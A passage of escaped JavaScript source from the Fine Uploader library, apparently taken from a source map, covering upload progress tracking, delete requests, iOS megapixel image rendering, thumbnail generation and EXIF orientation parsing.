handler._getXhr(id, chunkIdx),\n                name = getName(id),\n                progressCalculator = {\n                    simple: function(loaded, total) {\n                        var fileSize = getSize(id);\n\n                        if (loaded === total) {\n                            onProgress(id, name, fileSize, fileSize);\n                        }\n                        else {\n                            onProgress(id, name, (loaded >= fileSize ? fileSize - 1 : loaded), fileSize);\n                        }\n                    },\n\n                    chunked: function(loaded, total) {\n                        var chunkProgress = handler._getFileState(id).temp.chunkProgress,\n                            totalSuccessfullyLoadedForFile = handler._getFileState(id).loaded,\n                            loadedForRequest = loaded,\n                            totalForRequest = total,\n                            totalFileSize = getSize(id),\n                            estActualChunkLoaded = loadedForRequest - (totalForRequest - chunkSize),\n                            totalLoadedForFile = totalSuccessfullyLoadedForFile;\n\n                        chunkProgress[chunkIdx] = estActualChunkLoaded;\n\n                        qq.each(chunkProgress, function(chunkIdx, chunkLoaded) {\n                            totalLoadedForFile += chunkLoaded;\n                        });\n\n                        onProgress(id, name, totalLoadedForFile, totalFileSize);\n                    }\n                };\n\n            xhr.upload.onprogress = function(e) {\n                if (e.lengthComputable) {\n                    /* jshint eqnull: true */\n                    var type = chunkSize == null ? \"simple\" : \"chunked\";\n                    progressCalculator[type](e.loaded, e.total);\n                }\n            };\n        },\n\n        /**\n         * Registers an XHR transport instance created elsewhere.\n         *\n         * @param id ID of the associated file\n         * @param optChunkIdx The chunk index associated with this XHR, if applicable\n         * @param xhr XMLHttpRequest object instance\n         * @param optAjaxRequester `qq.AjaxRequester` associated with this request, if applicable.\n         * @returns {XMLHttpRequest}\n         */\n        _registerXhr: function(id, optChunkIdx, xhr, optAjaxRequester) {\n            var xhrsId = optChunkIdx == null ? -1 : optChunkIdx,\n                tempState = handler._getFileState(id).temp;\n\n            tempState.xhrs = tempState.xhrs || {};\n            tempState.ajaxRequesters = tempState.ajaxRequesters || {};\n\n            tempState.xhrs[xhrsId] = xhr;\n\n            if (optAjaxRequester) {\n                tempState.ajaxRequesters[xhrsId] = optAjaxRequester;\n            }\n\n            return xhr;\n        },\n\n        // Deletes any local storage records that are \"expired\".\n        _removeExpiredChunkingRecords: function() {\n            var expirationDays = resume.recordsExpireIn;\n\n            handler._iterateResumeRecords(function(key, uploadData) {\n                var expirationDate = new Date(uploadData.lastUpdated);\n\n                // transform updated date into expiration date\n                expirationDate.setDate(expirationDate.getDate() + expirationDays);\n\n                if (expirationDate.getTime() <= Date.now()) {\n                    log(\"Removing expired resume record with key \" + key);\n                    localStorage.removeItem(key);\n                }\n            });\n        },\n\n        /**\n         * Determine if the associated file should be chunked.\n         *\n         * @param id ID of the associated file\n         * @returns {*} true if chunking is enabled, possible, and the file can be split into more than 1 part\n         */\n        _shouldChunkThisFile: function(id) {\n            var state = handler._getFileState(id);\n\n            if (!state.chunking) {\n                handler.reevaluateChunking(id);\n            }\n\n            return state.chunking.enabled;\n        }\n    });\n};\n","/*globals qq, XMLHttpRequest*/\nqq.DeleteFileAjaxRequester = function(o) {\n    \"use strict\";\n\n    var requester,\n        options = {\n            method: \"DELETE\",\n            uuidParamName: \"qquuid\",\n            endpointStore: {},\n            maxConnections: 3,\n            customHeaders: function(id) {return {};},\n            paramsStore: {},\n            cors: {\n                expected: false,\n                sendCredentials: false\n            },\n            log: function(str, level) {},\n            onDelete: function(id) {},\n            onDeleteComplete: function(id, xhrOrXdr, isError) {}\n        };\n\n    qq.extend(options, o);\n\n    function getMandatedParams() {\n        if (options.method.toUpperCase() === \"POST\") {\n            return {\n                _method: \"DELETE\"\n            };\n        }\n\n        return {};\n    }\n\n    requester = qq.extend(this, new qq.AjaxRequester({\n        acceptHeader: \"application/json\",\n        validMethods: [\"POST\", \"DELETE\"],\n        method: options.method,\n        endpointStore: options.endpointStore,\n        paramsStore: options.paramsStore,\n        mandatedParams: getMandatedParams(),\n        maxConnections: options.maxConnections,\n        customHeaders: function(id) {\n            return options.customHeaders.get(id);\n        },\n        log: options.log,\n        onSend: options.onDelete,\n        onComplete: options.onDeleteComplete,\n        cors: options.cors\n    }));\n\n    qq.extend(this, {\n        sendDelete: function(id, uuid, additionalMandatedParams) {\n            var additionalOptions = additionalMandatedParams || {};\n\n            options.log(\"Submitting delete file request for \" + id);\n\n            if (options.method === \"DELETE\") {\n                requester.initTransport(id)\n                    .withPath(uuid)\n                    .withParams(additionalOptions)\n                    .send();\n            }\n            else {\n                additionalOptions[options.uuidParamName] = uuid;\n                requester.initTransport(id)\n                    .withParams(additionalOptions)\n                    .send();\n            }\n        }\n    });\n};\n","/*global qq, define */\n/*jshint strict:false,bitwise:false,nonew:false,asi:true,-W064,-W116,-W089 */\n/**\n * Mega pixel image rendering library for iOS6+\n *\n * Fixes iOS6+'s image file rendering issue for large size image (over mega-pixel),\n * which causes unexpected subsampling when drawing it in canvas.\n * By using this library, you can safely render the image with proper stretching.\n *\n * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>\n * Released under the MIT license\n *\n * Heavily modified by Widen for Fine Uploader\n */\n(function() {\n\n    /**\n     * Detect subsampling in loaded image.\n     * In iOS, larger images than 2M pixels may be subsampled in rendering.\n     */\n    function detectSubsampling(img) {\n        var iw = img.naturalWidth,\n            ih = img.naturalHeight,\n            canvas = document.createElement(\"canvas\"),\n            ctx;\n\n        if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image\n            canvas.width = canvas.height = 1;\n            ctx = canvas.getContext(\"2d\");\n            ctx.drawImage(img, -iw + 1, 0);\n            // subsampled image becomes half smaller in rendering size.\n            // check alpha channel value to confirm image is covering edge pixel or not.\n            // if alpha value is 0 image is not covering, hence subsampled.\n            return ctx.getImageData(0, 0, 1, 1).data[3] === 0;\n        } else {\n            return false;\n        }\n    }\n\n    /**\n     * Detecting vertical squash in loaded image.\n     * Fixes a bug which squash image vertically while drawing into canvas for some images.\n     */\n    function detectVerticalSquash(img, iw, ih) {\n        var canvas = document.createElement(\"canvas\"),\n            sy = 0,\n            ey = ih,\n            py = ih,\n            ctx, data, alpha, ratio;\n\n        canvas.width = 1;\n        canvas.height = ih;\n        ctx = canvas.getContext(\"2d\");\n        ctx.drawImage(img, 0, 0);\n        data = ctx.getImageData(0, 0, 1, ih).data;\n\n        // search image edge pixel position in case it is squashed vertically.\n        while (py > sy) {\n            alpha = data[(py - 1) * 4 + 3];\n            if (alpha === 0) {\n                ey = py;\n            } else {\n                sy = py;\n            }\n            py = (ey + sy) >> 1;\n        }\n\n        ratio = (py / ih);\n        return (ratio === 0) ? 1 : ratio;\n    }\n\n    /**\n     * Rendering image element (with resizing) and get its data URL\n     */\n    function renderImageToDataURL(img, blob, options, doSquash) {\n        var canvas = document.createElement(\"canvas\"),\n            mime = options.mime || \"image/jpeg\",\n            promise = new qq.Promise();\n\n        renderImageToCanvas(img, blob, canvas, options, doSquash)\n            .then(function() {\n                promise.success(\n                    canvas.toDataURL(mime, options.quality || 0.8)\n                );\n            });\n\n        return promise;\n    }\n\n    function maybeCalculateDownsampledDimensions(spec) {\n        var maxPixels = 5241000; //iOS specific value\n\n        if (!qq.ios()) {\n            throw new qq.Error(\"Downsampled dimensions can only be reliably calculated for iOS!\");\n        }\n\n        if (spec.origHeight * spec.origWidth > maxPixels) {\n            return {\n                newHeight: Math.round(Math.sqrt(maxPixels * (spec.origHeight / spec.origWidth))),\n                newWidth: Math.round(Math.sqrt(maxPixels * (spec.origWidth / spec.origHeight)))\n            };\n        }\n    }\n\n    /**\n     * Rendering image element (with resizing) into the canvas element\n     */\n    function renderImageToCanvas(img, blob, canvas, options, doSquash) {\n        var iw = img.naturalWidth,\n            ih = img.naturalHeight,\n            width = options.width,\n            height = options.height,\n            ctx = canvas.getContext(\"2d\"),\n            promise = new qq.Promise(),\n            modifiedDimensions;\n\n        ctx.save();\n\n        if (options.resize) {\n            return renderImageToCanvasWithCustomResizer({\n                blob: blob,\n                canvas: canvas,\n                image: img,\n                imageHeight: ih,\n                imageWidth: iw,\n                orientation: options.orientation,\n                resize: options.resize,\n                targetHeight: height,\n                targetWidth: width\n            });\n        }\n\n        if (!qq.supportedFeatures.unlimitedScaledImageSize) {\n            modifiedDimensions = maybeCalculateDownsampledDimensions({\n                origWidth: width,\n                origHeight: height\n            });\n\n            if (modifiedDimensions) {\n                qq.log(qq.format(\"Had to reduce dimensions due to device limitations from {}w / {}h to {}w / {}h\",\n                    width, height, modifiedDimensions.newWidth, modifiedDimensions.newHeight),\n                    \"warn\");\n\n                width = modifiedDimensions.newWidth;\n                height = modifiedDimensions.newHeight;\n            }\n        }\n\n        transformCoordinate(canvas, width, height, options.orientation);\n\n        // Fine Uploader specific: Save some CPU cycles if not using iOS\n        // Assumption: This logic is only needed to overcome iOS image sampling issues\n        if (qq.ios()) {\n            (function() {\n                if (detectSubsampling(img)) {\n                    iw /= 2;\n                    ih /= 2;\n                }\n\n                var d = 1024, // size of tiling canvas\n                    tmpCanvas = document.createElement(\"canvas\"),\n                    vertSquashRatio = doSquash ? detectVerticalSquash(img, iw, ih) : 1,\n                    dw = Math.ceil(d * width / iw),\n                    dh = Math.ceil(d * height / ih / vertSquashRatio),\n                    sy = 0,\n                    dy = 0,\n                    tmpCtx, sx, dx;\n\n                tmpCanvas.width = tmpCanvas.height = d;\n                tmpCtx = tmpCanvas.getContext(\"2d\");\n\n                while (sy < ih) {\n                    sx = 0;\n                    dx = 0;\n                    while (sx < iw) {\n                        tmpCtx.clearRect(0, 0, d, d);\n                        tmpCtx.drawImage(img, -sx, -sy);\n                        ctx.drawImage(tmpCanvas, 0, 0, d, d, dx, dy, dw, dh);\n                        sx += d;\n                        dx += dw;\n                    }\n                    sy += d;\n                    dy += dh;\n                }\n                ctx.restore();\n                tmpCanvas = tmpCtx = null;\n            }());\n        }\n        else {\n            ctx.drawImage(img, 0, 0, width, height);\n        }\n\n        canvas.qqImageRendered && canvas.qqImageRendered();\n        promise.success();\n\n        return promise;\n    }\n\n    function renderImageToCanvasWithCustomResizer(resizeInfo) {\n        var blob = resizeInfo.blob,\n            image = resizeInfo.image,\n            imageHeight = resizeInfo.imageHeight,\n            imageWidth = resizeInfo.imageWidth,\n            orientation = resizeInfo.orientation,\n            promise = new qq.Promise(),\n            resize = resizeInfo.resize,\n            sourceCanvas = document.createElement(\"canvas\"),\n            sourceCanvasContext = sourceCanvas.getContext(\"2d\"),\n            targetCanvas = resizeInfo.canvas,\n            targetHeight = resizeInfo.targetHeight,\n            targetWidth = resizeInfo.targetWidth;\n\n        transformCoordinate(sourceCanvas, imageWidth, imageHeight, orientation);\n\n        targetCanvas.height = targetHeight;\n        targetCanvas.width = targetWidth;\n\n        sourceCanvasContext.drawImage(image, 0, 0);\n\n        resize({\n            blob: blob,\n            height: targetHeight,\n            image: image,\n            sourceCanvas: sourceCanvas,\n            targetCanvas: targetCanvas,\n            width: targetWidth\n        })\n            .then(\n                function success() {\n                    targetCanvas.qqImageRendered && targetCanvas.qqImageRendered();\n                    promise.success();\n                },\n                promise.failure\n            );\n\n        return promise;\n    }\n\n    /**\n     * Transform canvas coordination according to specified frame size and orientation\n     * Orientation value is from EXIF tag\n     */\n    function transformCoordinate(canvas, width, height, orientation) {\n        switch (orientation) {\n            case 5:\n            case 6:\n            case 7:\n            case 8:\n                canvas.width = height;\n                canvas.height = width;\n                break;\n            default:\n                canvas.width = width;\n                canvas.height = height;\n        }\n        var ctx = canvas.getContext(\"2d\");\n        switch (orientation) {\n            case 2:\n                // horizontal flip\n                ctx.translate(width, 0);\n                ctx.scale(-1, 1);\n                break;\n            case 3:\n                // 180 rotate left\n                ctx.translate(width, height);\n                ctx.rotate(Math.PI);\n                break;\n            case 4:\n                // vertical flip\n                ctx.translate(0, height);\n                ctx.scale(1, -1);\n                break;\n            case 5:\n                // vertical flip + 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.scale(1, -1);\n                break;\n            case 6:\n                // 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.translate(0, -height);\n                break;\n            case 7:\n                // horizontal flip + 90 rotate right\n                ctx.rotate(0.5 * Math.PI);\n                ctx.translate(width, -height);\n                ctx.scale(-1, 1);\n                break;\n            case 8:\n                // 90 rotate left\n                ctx.rotate(-0.5 * Math.PI);\n                ctx.translate(-width, 0);\n                break;\n            default:\n                break;\n        }\n    }\n\n    /**\n     * MegaPixImage class\n     */\n    function MegaPixImage(srcImage, errorCallback) {\n        var self = this;\n\n        if (window.Blob && srcImage instanceof Blob) {\n            (function() {\n                var img = new Image(),\n                    URL = window.URL && window.URL.createObjectURL ? window.URL :\n                        window.webkitURL && window.webkitURL.createObjectURL ? window.webkitURL : null;\n                if (!URL) { throw Error(\"No createObjectURL function found to create blob url\"); }\n                img.src = URL.createObjectURL(srcImage);\n                self.blob = srcImage;\n                srcImage = img;\n            }());\n        }\n        if (!srcImage.naturalWidth && !srcImage.naturalHeight) {\n            srcImage.onload = function() {\n                var listeners = self.imageLoadListeners;\n                if (listeners) {\n                    self.imageLoadListeners = null;\n                    // IE11 doesn't reliably report actual image dimensions immediately after onload for small files,\n                    // so let's push this to the end of the UI thread queue.\n                    setTimeout(function() {\n                        for (var i = 0, len = listeners.length; i < len; i++) {\n                            listeners[i]();\n                        }\n                    }, 0);\n                }\n            };\n            srcImage.onerror = errorCallback;\n            this.imageLoadListeners = [];\n        }\n        this.srcImage = srcImage;\n    }\n\n    /**\n     * Rendering megapix image into specified target element\n     */\n    MegaPixImage.prototype.render = function(target, options) {\n        options = options || {};\n\n        var self = this,\n            imgWidth = this.srcImage.naturalWidth,\n            imgHeight = this.srcImage.naturalHeight,\n            width = options.width,\n            height = options.height,\n            maxWidth = options.maxWidth,\n            maxHeight = options.maxHeight,\n            doSquash = !this.blob || this.blob.type === \"image/jpeg\",\n            tagName = target.tagName.toLowerCase(),\n            opt;\n\n        if (this.imageLoadListeners) {\n            this.imageLoadListeners.push(function() { self.render(target, options); });\n            return;\n        }\n\n        if (width && !height) {\n            height = (imgHeight * width / imgWidth) << 0;\n        } else if (height && !width) {\n            width = (imgWidth * height / imgHeight) << 0;\n        } else {\n            width = imgWidth;\n            height = imgHeight;\n        }\n        if (maxWidth && width > maxWidth) {\n            width = maxWidth;\n            height = (imgHeight * width / imgWidth) << 0;\n        }\n        if (maxHeight && height > maxHeight) {\n            height = maxHeight;\n            width = (imgWidth * height / imgHeight) << 0;\n        }\n\n        opt = { width: width, height: height },\n        qq.each(options, function(optionsKey, optionsValue) {\n            opt[optionsKey] = optionsValue;\n        });\n\n        if (tagName === \"img\") {\n            (function() {\n                var oldTargetSrc = target.src;\n                renderImageToDataURL(self.srcImage, self.blob, opt, doSquash)\n                    .then(function(dataUri) {\n                        target.src = dataUri;\n                        oldTargetSrc === target.src && target.onload();\n                    });\n            }());\n        } else if (tagName === \"canvas\") {\n            renderImageToCanvas(this.srcImage, this.blob, target, opt, doSquash);\n        }\n        if (typeof this.onrender === \"function\") {\n            this.onrender(target);\n        }\n    };\n\n    qq.MegaPixImage = MegaPixImage;\n})();\n","/*globals qq */\n/**\n * Draws a thumbnail of a Blob/File/URL onto an <img> or <canvas>.\n *\n * @constructor\n */\nqq.ImageGenerator = function(log) {\n    \"use strict\";\n\n    function isImg(el) {\n        return el.tagName.toLowerCase() === \"img\";\n    }\n\n    function isCanvas(el) {\n        return el.tagName.toLowerCase() === \"canvas\";\n    }\n\n    function isImgCorsSupported() {\n        return new Image().crossOrigin !== undefined;\n    }\n\n    function isCanvasSupported() {\n        var canvas = document.createElement(\"canvas\");\n\n        return canvas.getContext && canvas.getContext(\"2d\");\n    }\n\n    // This is only meant to determine the MIME type of a renderable image file.\n    // It is used to ensure images drawn from a URL that have transparent backgrounds\n    // are rendered correctly, among other things.\n    function determineMimeOfFileName(nameWithPath) {\n        /*jshint -W015 */\n        var pathSegments = nameWithPath.split(\"/\"),\n            name = pathSegments[pathSegments.length - 1].split(\"?\")[0],\n            extension = qq.getExtension(name);\n\n        extension = extension && extension.toLowerCase();\n\n        switch (extension) {\n            case \"jpeg\":\n            case \"jpg\":\n                return \"image/jpeg\";\n            case \"png\":\n                return \"image/png\";\n            case \"bmp\":\n                return \"image/bmp\";\n            case \"gif\":\n                return \"image/gif\";\n            case \"tiff\":\n            case \"tif\":\n                return \"image/tiff\";\n        }\n    }\n\n    // This will likely not work correctly in IE8 and older.\n    // It's only used as part of a formula to determine\n    // if a canvas can be used to scale a server-hosted thumbnail.\n    // If canvas isn't supported by the UA (IE8 and older)\n    // this method should not even be called.\n    function isCrossOrigin(url) {\n        var targetAnchor = document.createElement(\"a\"),\n            targetProtocol, targetHostname, targetPort;\n\n        targetAnchor.href = url;\n\n        targetProtocol = targetAnchor.protocol;\n        targetPort = targetAnchor.port;\n        targetHostname = targetAnchor.hostname;\n\n        if (targetProtocol.toLowerCase() !== window.location.protocol.toLowerCase()) {\n            return true;\n        }\n\n        if (targetHostname.toLowerCase() !== window.location.hostname.toLowerCase()) {\n            return true;\n        }\n\n        // IE doesn't take ports into consideration when determining if two endpoints are same origin.\n        if (targetPort !== window.location.port && !qq.ie()) {\n            return true;\n        }\n\n        return false;\n    }\n\n    function registerImgLoadListeners(img, promise) {\n        img.onload = function() {\n            img.onload = null;\n            img.onerror = null;\n            promise.success(img);\n        };\n\n        img.onerror = function() {\n            img.onload = null;\n            img.onerror = null;\n            log(\"Problem drawing thumbnail!\", \"error\");\n            promise.failure(img, \"Problem drawing thumbnail!\");\n        };\n    }\n\n    function registerCanvasDrawImageListener(canvas, promise) {\n        // The image is drawn on the canvas by a third-party library,\n        // and we want to know when this is completed.  Since the library\n        // may invoke drawImage many times in a loop, we need to be called\n        // back when the image is fully rendered.  So, we are expecting the\n        // code that draws this image to follow a convention that involves a\n        // function attached to the canvas instance be invoked when it is done.\n        canvas.qqImageRendered = function() {\n            promise.success(canvas);\n        };\n    }\n\n    // Fulfills a `qq.Promise` when an image has been drawn onto the target,\n    // whether that is a <canvas> or an <img>.  The attempt is considered a\n    // failure if the target is not an <img> or a <canvas>, or if the drawing\n    // attempt was not successful.\n    function registerThumbnailRenderedListener(imgOrCanvas, promise) {\n        var registered = isImg(imgOrCanvas) || isCanvas(imgOrCanvas);\n\n        if (isImg(imgOrCanvas)) {\n            registerImgLoadListeners(imgOrCanvas, promise);\n        }\n        else if (isCanvas(imgOrCanvas)) {\n            registerCanvasDrawImageListener(imgOrCanvas, promise);\n        }\n        else {\n            promise.failure(imgOrCanvas);\n            log(qq.format(\"Element container of type {} is not supported!\", imgOrCanvas.tagName), \"error\");\n        }\n\n        return registered;\n    }\n\n    // Draw a preview iff the current UA can natively display it.\n    // Also rotate the image if necessary.\n    function draw(fileOrBlob, container, options) {\n        var drawPreview = new qq.Promise(),\n            identifier = new qq.Identify(fileOrBlob, log),\n            maxSize = options.maxSize,\n            // jshint eqnull:true\n            orient = options.orient == null ? true : options.orient,\n            megapixErrorHandler = function() {\n                container.onerror = null;\n                container.onload = null;\n                log(\"Could not render preview, file may be too large!\", \"error\");\n                drawPreview.failure(container, \"Browser cannot render image!\");\n            };\n\n        identifier.isPreviewable().then(\n            function(mime) {\n                // If options explicitly specify that Orientation is not desired,\n                // replace the orient task with a dummy promise that \"succeeds\" immediately.\n                var dummyExif = {\n                        parse: function() {\n                            return new qq.Promise().success();\n                        }\n                    },\n                    exif = orient ? new qq.Exif(fileOrBlob, log) : dummyExif,\n                    mpImg = new qq.MegaPixImage(fileOrBlob, megapixErrorHandler);\n\n                if (registerThumbnailRenderedListener(container, drawPreview)) {\n                    exif.parse().then(\n                        function(exif) {\n                            var orientation = exif && exif.Orientation;\n\n                            mpImg.render(container, {\n                                maxWidth: maxSize,\n                                maxHeight: maxSize,\n                                orientation: orientation,\n                                mime: mime,\n                                resize: options.customResizeFunction\n                            });\n                        },\n\n                        function(failureMsg) {\n                            log(qq.format(\"EXIF data could not be parsed ({}).  Assuming orientation = 1.\", failureMsg));\n\n                            mpImg.render(container, {\n                                maxWidth: maxSize,\n                                maxHeight: maxSize,\n                                mime: mime,\n                                resize: options.customResizeFunction\n                            });\n                        }\n                    );\n                }\n            },\n\n            function() {\n                log(\"Not previewable\");\n                drawPreview.failure(container, \"Not previewable\");\n            }\n        );\n\n        return drawPreview;\n    }\n\n    function drawOnCanvasOrImgFromUrl(url, canvasOrImg, draw, maxSize, customResizeFunction) {\n        var tempImg = new Image(),\n            tempImgRender = new qq.Promise();\n\n        registerThumbnailRenderedListener(tempImg, tempImgRender);\n\n        if (isCrossOrigin(url)) {\n            tempImg.crossOrigin = \"anonymous\";\n        }\n\n        tempImg.src = url;\n\n        tempImgRender.then(\n            function rendered() {\n                registerThumbnailRenderedListener(canvasOrImg, draw);\n\n                var mpImg = new qq.MegaPixImage(tempImg);\n                mpImg.render(canvasOrImg, {\n                    maxWidth: maxSize,\n                    maxHeight: maxSize,\n                    mime: determineMimeOfFileName(url),\n                    resize: customResizeFunction\n                });\n            },\n\n            draw.failure\n        );\n    }\n\n    function drawOnImgFromUrlWithCssScaling(url, img, draw, maxSize) {\n        registerThumbnailRenderedListener(img, draw);\n        // NOTE: The fact that maxWidth/height is set on the thumbnail for scaled images\n        // that must drop back to CSS is known and exploited by the templating module.\n        // In this module, we pre-render \"waiting\" thumbs for all files immediately after they\n        // are submitted, and we must be sure to pass any style associated with the \"waiting\" preview.\n        qq(img).css({\n            maxWidth: maxSize + \"px\",\n            maxHeight: maxSize + \"px\"\n        });\n\n        img.src = url;\n    }\n\n    // Draw a (server-hosted) thumbnail given a URL.\n    // This will optionally scale the thumbnail as well.\n    // It attempts to use <canvas> to scale, but will fall back\n    // to max-width and max-height style properties if the UA\n    // doesn't support canvas or if the images is cross-domain and\n    // the UA doesn't support the crossorigin attribute on img tags,\n    // which is required to scale a cross-origin image using <canvas> &\n    // then export it back to an <img>.\n    function drawFromUrl(url, container, options) {\n        var draw = new qq.Promise(),\n            scale = options.scale,\n            maxSize = scale ? options.maxSize : null;\n\n        // container is an img, scaling needed\n        if (scale && isImg(container)) {\n            // Iff canvas is available in this UA, try to use it for scaling.\n            // Otherwise, fall back to CSS scaling\n            if (isCanvasSupported()) {\n                // Attempt to use <canvas> for image scaling,\n                // but we must fall back to scaling via CSS/styles\n                // if this is a cross-origin image and the UA doesn't support <img> CORS.\n                if (isCrossOrigin(url) && !isImgCorsSupported()) {\n                    drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);\n                }\n                else {\n                    drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);\n                }\n            }\n            else {\n                drawOnImgFromUrlWithCssScaling(url, container, draw, maxSize);\n            }\n        }\n        // container is a canvas, scaling optional\n        else if (isCanvas(container)) {\n            drawOnCanvasOrImgFromUrl(url, container, draw, maxSize);\n        }\n        // container is an img & no scaling: just set the src attr to the passed url\n        else if (registerThumbnailRenderedListener(container, draw)) {\n            container.src = url;\n        }\n\n        return draw;\n    }\n\n    qq.extend(this, {\n        /**\n         * Generate a thumbnail.  Depending on the arguments, this may either result in\n         * a client-side rendering of an image (if a `Blob` is supplied) or a server-generated\n         * image that may optionally be scaled client-side using <canvas> or CSS/styles (as a fallback).\n         *\n         * @param fileBlobOrUrl a `File`, `Blob`, or a URL pointing to the image\n         * @param container <img> or <canvas> to contain the preview\n         * @param options possible properties include `maxSize` (int), `orient` (bool - default true), resize` (bool - default true), and `customResizeFunction`.\n         * @returns qq.Promise fulfilled when the preview has been drawn, or the attempt has failed\n         */\n        generate: function(fileBlobOrUrl, container, options) {\n            if (qq.isString(fileBlobOrUrl)) {\n                log(\"Attempting to update thumbnail based on server response.\");\n                return drawFromUrl(fileBlobOrUrl, container, options || {});\n            }\n            else {\n                log(\"Attempting to draw client-side image preview.\");\n                return draw(fileBlobOrUrl, container, options || {});\n            }\n        }\n    });\n\n    /*<testing>*/\n    this._testing = {};\n    this._testing.isImg = isImg;\n    this._testing.isCanvas = isCanvas;\n    this._testing.isCrossOrigin = isCrossOrigin;\n    this._testing.determineMimeOfFileName = determineMimeOfFileName;\n    /*</testing>*/\n};\n","/*globals qq */\n/**\n * EXIF image data parser.  Currently only parses the Orientation tag value,\n * but this may be expanded to other tags in the future.\n *\n * @param fileOrBlob Attempt to parse EXIF data in this `Blob`\n * @constructor\n */\nqq.Exif = function(fileOrBlob, log) {\n    \"use strict\";\n\n    // Orientation is the only tag parsed here at this time.\n    var TAG_IDS = [274],\n        TAG_INFO = {\n            274: {\n                name: \"Orientation\",\n                bytes: 2\n            }\n        };\n\n    // Convert a little endian (hex string) to big endian (decimal).\n    function parseLittleEndian(hex) {\n        var result = 0,\n            pow = 0;\n\n        while (hex.length > 0) {\n            result += parseInt(hex.substring(0, 2), 16) * Math.pow(2, pow);\n            hex = hex.substring(2, hex.length);\n            pow += 8;\n        }\n\n        return result;\n    }\n\n    // Find the byte offset, of Application Segment 1 (EXIF).\n    // External callers need not supply any arguments.\n    function seekToApp1(offset, promise) {\n        var theOffset = offset,\n            thePromise = promise;\n        if (theOffset === undefined) {\n            theOffset = 2;\n            thePromise = new qq.Promise();\n        }\n\n        qq.readBlobToHex(fileOrBlob, theOffset, 4).then(function(hex) {\n            var match = /^ffe([0-9])/.exec(hex),\n                segmentLength;\n\n            if (match) {\n                if (match[1] !== \"1\") {\n                    segmentLength = parseInt(hex.slice(4, 8), 16);\n                    seekToApp1(theOffset + segmentLength + 2, thePromise);\n                }\n                else {\n                    thePromise.success(theOffset);\n                }\n            }\n            else {\n                thePromise.failure(\"No EXIF header to be found!\");\n            }\n        });\n\n        return thePromise;\n    }\n\n    // Find the byte offset of Application Segment 1 (EXIF) for valid JPEGs only.\n    function getApp1Offset() {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, 0, 6).then(function(hex) {\n            if (hex.indexOf(\"ffd8\") !== 0) {\n                promise.failure(\"Not a valid JPEG!\");\n            }\n            else {\n                seekToApp1().then(function(offset) {\n                    promise.success(offset);\n                },\n                function(error) {\n                    promise.failure(error);\n                });\n            }\n        });\n\n        return promise;\n    }\n\n    // Determine the byte ordering of the EXIF header.\n    function isLittleEndian(app1Start) {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, app1Start + 10, 2).then(function(hex) {\n            promise.success(hex === \"4949\");\n        });\n\n        return promise;\n    }\n\n    // Determine the number of directory entries in the EXIF header.\n    function getDirEntryCount(app1Start, littleEndian) {\n        var promise = new qq.Promise();\n\n        qq.readBlobToHex(fileOrBlob, app1Start + 18, 2).then(function(hex) {\n            if (littleEndian) {\n                return promise.success(parseLittleEndian(hex));\n            }\n            else {\n                promise.success(parseInt(hex, 16));\n            }\n        });\n\n        return promise;\n    }\n\n    // Get the IFD portion of the EXIF header as a hex string.\n    function getIfd(app1Start, dirEntries) {\n        var offset = app1Start + 20,\n            bytes = dirEntries * 12;\n\n        return qq.readBlobToHex(fileOrBlob, offset, bytes);\n    }\n\n    // Obtain an array of all directory entries (as hex strings) in the EXIF header.\n    function getDirEntries(ifdHex) {\n        var entries = [],\n            offset = 0;\n\n        while (offset + 24 <= ifdHex.length) {\n            entries.push(ifdHex.slice(offset, offset + 24));\n            offset += 24;\n        }\n\n        return entries;\n    }\n\n    // Obtain values for all relevant tags and return them.\n    function getTagValues(littleEndian, dirEntries) {\n        var TAG_VAL_OFFSET = 16,\n            tagsToFind = qq.extend([], TAG_IDS),\n            vals = {};\n\n        qq.each(dirEntries, function(idx, entry) {\n            var idHex = entry.slice(0, 4),\n                id = littleEndian ? parseLittleEndian(idHex) : parseInt(idHex, 16),\n                tagsToFindIdx = tagsToFind.indexOf(id),\n                tagValHex, tagName, tagValLength;\n\n            if (tagsToFindIdx >= 0) {\n                tagName = TAG_INFO[id].name;\n                tagValLength = TAG_INFO[id].bytes;\n                tagValHex = entry.slice(TAG_VAL_OFFSET, TAG_VAL_OFFSET + (tagValLength * 2));\n                vals[tagName] = littleEndian ? parseLittleEndian(tagValHex) : parseInt(tagValHex, 16);\n\n                tagsToFind.splice(tagsToFindIdx, 1);\n            }\n\n            if (tagsToFind.length === 0) {\n                return false;\n            }\n        });\n\n        return vals;\n    }\n\n    qq.extend(this, {\n        /**\n         * Attempt to parse the EXIF header for the `Blob` associated with this instance.\n         *\n         * @returns {qq.Promise} To be fulfilled when the parsing is complete.\n         * If successful, the parsed EXIF header as an object will be included.\n         */\n        parse: function() {\n            var parser = new qq.Promise(),\n                onParseFailure = function(message) {\n                    log(qq.format(\"EXIF header parse failed: '{}' \", message));\n                    parser.failure(message);\n                };\n\n            getApp1Offset().then(function(app1Offset) {\n                log(qq.format(\"Moving forward with EXIF header parsing for '{}'\", fileOrBlob.name === undefined ? \"blob\" : fileOrBlob.name));\n\n                isLittleEndian(app1Offset).then(function(littleEndian) {\n\n                    log(qq.format(\"EXIF Byte order is {} endian\", littleEndian ? \"little\" : \"big\"));\n\n                    getDirEntryCount(app1Offset, littleEndian).then(function(dirEntryCount) {\n\n                        log(qq.format(\"Found {} APP1 directory entries\", dirEntryCount));\n\n                        getIfd(app1Offset, dirEntryCount).then(function(ifdHex) {\n                            var dirEntries = getDirEntries(ifdHex),\n                                tagValues = getTagValues(littleEndian, dirEntries);\n\n                            log(\"Successfully parsed some EXIF tags\");\n\n                            parser.success(tagValues);\n                        }, onParseFailure);\n                    }, onParseFailure);\n                }, onParseFailure);\n            }, onParseFailure);\n\n            return parser;\n        }\n    });\n\n    /*<testing>*/\n    this._testing = {};\n    this._testing.parseLittleEndian = parseLittleEndian;\n    /*</testing>*/\n};\n","/*globals qq */\nqq.Identify = function(fileOrBlob, log) {\n    \"use strict\";\n\n    function isIdentifiable(magicBytes, questionableBytes) {\n        var identifiable = false,\n            magicBytesEntries = [].concat(magicBytes);\n\n        qq.each(magicBytesEntries, function(idx, magicBytesArrayEntry) {\n            if 